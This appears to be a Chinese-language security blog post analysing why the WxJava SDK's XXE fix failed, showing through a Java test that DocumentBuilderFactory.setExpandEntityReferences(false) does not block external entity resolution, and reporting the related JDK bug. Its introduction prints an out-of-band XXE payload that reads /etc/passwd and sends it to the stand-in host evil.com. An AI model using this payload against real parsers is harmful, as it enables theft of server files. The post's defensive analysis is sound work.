修不好的洞,JDK的坑——从WxJava XXE注入漏洞中发现了一个对JDK的误会

栏目: 编程语言 · XML · 发布时间: 5年前

内容简介:前些日,开源社区流行的微信Java SDK爆出XXE注入漏洞,漏洞编号为:既然是有关XXE注入的漏洞,那么想读懂这篇文章就需要对XXE注入漏洞有所了解。在这里我推荐阅读XML外部实体注入

事情缘起

前些日,开源社区流行的微信Java SDK爆出XXE注入漏洞,漏洞编号为: CVE-2019-5312 。在我分析漏洞时发现这个漏洞源自于一个未修好的漏洞: CVE-2018-20318 。在做这两个漏洞的补丁commit diff的时候发现CVE-2018-20318的修复方案是在创建DocumentBuilderFactory实例后对其做了 factory.setExpandEntityReferences(false) 的设置。CVE-2019-5312中又在下面增加了 factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true) 的设置。这引起了我的好奇,深挖了一下,发现整个事情还比较有趣,于是想整理下,分享给大家。

啥是XXE注入

既然是有关XXE注入的漏洞,那么想读懂这篇文章就需要对XXE注入漏洞有所了解。在这里我推荐阅读 @gyyyy 大佬的文章: 《XXE注入漏洞概述》 ,文章中非常详细的介绍了XXE注入的基础知识、漏洞原理、挖掘思路、利用方式等等。我在本文中简单带过一下原理。

XML外部实体注入 (XML External Entity Injection) 是一种针对解析XML文档的应用程序的注入类型攻击。当恶意用户在提交一个精心构造的包含外部实体引用的XML文档给未正确配置的XML解析器处理时,该攻击就会发生。XXE注入可能造成敏感信息泄露、拒绝服务、SSRF、命令执行等危害。

XML实体又分为内部实体和外部实体,声明方式如下:

<!ENTITY name "value">
<!ENTITY name SYSTEM "URI"> <!ENTITY name PUBLIC "PUBLIC_ID" "URI">

外部实体声明中,分为 SYSTEMPUBLIC ,前者表示私有资源 (但不一定是本机) ,后者表示公共资源。实体声明之后就可以在文本中进行引用了:

<foo>&xxe;</foo>

XXE注入较为常见的利用方式是基于OOB的任意文件读取 (盲注) ,利用方式如下:

<?xmlversion="1.0"encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY % xxeSYSTEM "http://evil.com/xxeoobdetector.xml"> %xxe; ]> <foo/>

xxeoobdetector.xml

<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % def "<!ENTITY % send SYSTEM 'http://evil.com/?data=%file;'>"> %def; %send;

更多内容也可以参考 XML_External_Entity_(XXE)_Processing

XXE注入漏洞简要分析

以WxJava的XXE注入漏洞为例,漏洞发现者在项目Github仓库中提交 Github issue#903 ,并提供了 修复参考

先在github上进行 commit diff 对比:

修不好的洞,JDK的坑——从WxJava XXE注入漏洞中发现了一个对JDK的误会

可以看到作者使用的是JDK自带的XML解析器。在创建 DocumentBuilderFactory 类的实例之后进行了 setFeature 禁用DTD文档。

然后仿造issue中的描述初始化 WxPayOrderQueryResult 类实例,通过其父类的 setXmlString() 方法设置 xmlString ,然后调用此类实例的 toMap() 方法将xml文档转换为Map。在此调用了此类的 getXmlDoc() 方法。

修不好的洞,JDK的坑——从WxJava XXE注入漏洞中发现了一个对JDK的误会

进入 getXmlDoc() 方法中发现此处已经对 DocumentBuilderFactory 实例进行了 setExpandEntityReferences() 的设置,但经过测试,这里依然可以解析DTD文档和外部实体,触发漏洞。

节外生枝

本来这个漏洞分析到这里就可以结束了,但我看到了这个漏洞关联另一个issue: issue#889 ,发现其对应漏洞CVE-2018-20318,再次进行 commit diff 对比:

修不好的洞,JDK的坑——从WxJava XXE注入漏洞中发现了一个对JDK的误会 发现作者在解决CVE-2018-20318之前对 DocumentBuilderFactory 实例没有进行任何设置,直接解析XML文档。那么问题来了,为什么作者加上 factory.setExpandEntityReferences(false) 的设置漏洞仍然存在?是 factory.setExpandEntityReferences(false) 没有生效吗?作为开发出身的我,第一反应是查这段代码的注释和官方文档,开发过程中我们应该永远最相信官方的文档。

直接跟进这个方法定义的位置:

修不好的洞,JDK的坑——从WxJava XXE注入漏洞中发现了一个对JDK的误会

从代码注释翻译过来大概是 指定此代码生成的解析器将扩展实体引用节点。 默认情况下,此值为 true ,如果参数为 true ,解析器将扩展实体引用节点,否则设置为 false 官方文档 的解释与其一致,不再展示。

那么从这短短的一句话上分析, setExpandEntityReferences() 方法参数为 true 的时候,解析器会扩展外部实体,为 false 的时候不扩展,好像没毛病。我如果是开发看到了文档给出的解释也会这样改,那么问题到底在哪里?

寻坑之路

通过搜索发现,和我有同样疑问的人其实不少,首先我看到了两封疑似邮件记录的东西,第一封主题为 Disabling XML External Entites ,这个人恰好是想解决安全问题禁止外部实体解析,但发现了通过 setExpandEntityReferences() 并不能阻止XXE注入攻击,于是邮件提问,得到的回复如下:

修不好的洞,JDK的坑——从WxJava XXE注入漏洞中发现了一个对JDK的误会
第二封主题为

CVE-2014-0191 libxml2: external parameter entity

loaded when entity substitution is disabled这个人貌似是想写一篇全面的关于XXE注入的论文,但是它遇到了同样的问题,且提到了官方的描述非常的简短。他得到的回复如下:

修不好的洞,JDK的坑——从WxJava XXE注入漏洞中发现了一个对JDK的误会

在这个回复中甚至提到了OWASP的文档中都是需要更新和维护的。OWASP以前的文档不可考察了,现在OWASP中针对XXE注入防护的 Java 部分是这样的:

修不好的洞,JDK的坑——从WxJava XXE注入漏洞中发现了一个对JDK的误会

这里依然提到了 setExpandEntityReferences() ,并且提到了一篇2014年的论文 (好像和刚才发邮件的不是一个人:-D) 于是我又将 论文 翻出来,论文中提到的有关内容如下:

修不好的洞,JDK的坑——从WxJava XXE注入漏洞中发现了一个对JDK的误会 我们发现,这两个邮件的回复大意都是说这是设计如此的, setExpandEntityReferences(false) 和实体的解析是不冲突的, setExpandEntityReferences() 只告诉DocumentBuilder它是否应该在tree中包含EntityReference节点。
随后,我又在JDK的BUG系统中找到了两个BUG的提交记录,分别是

Method setExpandEntityReferences of Object DocumentBuilderFactory has no effects

DOM parser does not honor DocumentBuilderFactory.setExpandEntityReferences(false) ,两个BUG提交后得到了同样的回复:这不是问题!其中在第二个BUG的回复中详细解释了参数设置为 truefalse 对应的意义:

修不好的洞,JDK的坑——从WxJava XXE注入漏洞中发现了一个对JDK的误会

setExpandEntityReferences = true表示展开或“解析”实体引用,即没有EntityReference节点。

setExpandEntityReferences = false,将指示解析器将EntityReference节点保留在DOM树中。

挖到这里,我大致明白了这个方法的作用, 此方法作于XML解析后生成的文档。设置为 true 则展开实体引用到生成的文档中替换掉 &xx 的实体引用声明,设置为 false 则保留实体引用声明的DOM树在生成的文档中

听起来还是有点绕?下面我通过一个例子来解释下上面那句话。

假如有XML文档如下:
<!DOCTYPE foo [
    <!ENTITY xxe "test">
]>
<document> 
    <title>&xxe;</title> 
</document>

测试代码:

import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.EntityReference;
import org.w3c.dom.NodeList;

import javax.xml.parsers.DocumentBuilderFactory;
import java.io.ByteArrayInputStream;

public class Test {

    public static void main(String[] args) {
        String xmlStr=
                "<!DOCTYPE foo [\n" +
                "    <!ENTITY xxe \"test\">\n" +
                "]>\n" +
                "<document> \n" +
                        "    <title>&xxe;</title> \n" +
                        "</document> ";

        Document doc= getXmlDoc(xmlStr);
        Element e = (Element) doc.getElementsByTagName("title").item(0);
        final NodeList nl = e.getChildNodes();
        System.out.println("nl.item(0) instanceof EntityReference):" + (nl.item(0) instanceof EntityReference));
        System.out.println("nl.getLength():" + nl.getLength());

    }

    public static Document getXmlDoc(String xmlString) {
        try {
            final DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
            // Comment the code below to see the effect
            factory.setExpandEntityReferences(false);
            Document xmlDoc = factory.newDocumentBuilder()
                    .parse(new ByteArrayInputStream(xmlString.getBytes("UTF-8")));
            return xmlDoc;
        } catch (Exception e) {
            throw new RuntimeException(e);
        }

    }

}

设置 setExpandEntityReferences(true) ,观察变量 nl 的结构:

修不好的洞,JDK的坑——从WxJava XXE注入漏洞中发现了一个对JDK的误会

注意此时 nl 的长度为1,此时文档结构大致如下:

+- document
    +- title
    |  +- #text:test

输出如下:

修不好的洞,JDK的坑——从WxJava XXE注入漏洞中发现了一个对JDK的误会

设置 setExpandEntityReferences(false) ,观察变量 nl 的结构:

修不好的洞,JDK的坑——从WxJava XXE注入漏洞中发现了一个对JDK的误会

我们发现,此时的 nl 的长度为2, nl.item(0) 是一个name为 xxeEntityReference 节点,它还有个兄弟节点,值为 test 。此时文档结构大致如下:

+- document
    +- title
    |  +- xxe
    |  +- #text:test

输出如下:

修不好的洞,JDK的坑——从WxJava XXE注入漏洞中发现了一个对JDK的误会

上面的例子证明了,无论如何设置 setExpandEntityReferences() ,外部文档都是已经解析完了的。因此无法防护XXE注入。

不过官方文档描述过于简单,实时也证明了通过官方文档对 setExpandEntityReferences() 的解释真的容易产生歧义。因此在开发者修复漏洞的时候还是要参考OWASP给出的参考建议 (我甚至觉得OWASP建议中的 setExpandEntityReferences(false) 都应该注释标明它不能防止XXE注入) ,不要太过于自信自己对文档的理解。修改后应及时测试。

官方认坑

就在我觉得这个事情真的到这里就结束了的时候,我发现事情又有了转机。通过在JDK的BUG系统中搜索,我又发现有人在说这个问题:

DOM parser does not honor DocumentBuilderFactory.setExpandEntityReferences(false)

,不过神奇的地方来了,这次官网没有用之前的话术草草回复过去,而是接受了这个BUG!!就在两天前(2019年1月29日), @Joe Wang 为其创建了名为 Change DOM parser to not resolve EntityReference and add Text node with DocumentBuilderFactory.setExpandEntityReferences(false) 的任务,并且在任务描述中明确了当 ExpandEntityReferences 设置为 false 时,DOM解析器不再读取和解析任何实体引用。对于打算避免解析实体引用的应用程序,这样的设置将会按照预期工作。

经过这么多人对此方法的质疑,官方终于承认了这个很容易让人引起歧义导致安全问题的坑,并且决定修复它。或许我们将来真的可以安心的通过 setExpandEntityReferences(false) 来解决XXE注入的问题了。不过现在这个任务的状态还是 NEW ,我会继续跟进它。

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Automate This

Automate This

Christopher Steiner / Portfolio / 2013-8-9 / USD 25.95

"The rousing story of the last gasp of human agency and how today's best and brightest minds are endeavoring to put an end to it." It used to be that to diagnose an illness, interpret legal docume......一起来看看 《Automate This》 这本书的介绍吧!

随机密码生成器
随机密码生成器

多种字符组合密码

MD5 加密
MD5 加密

MD5 加密工具

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具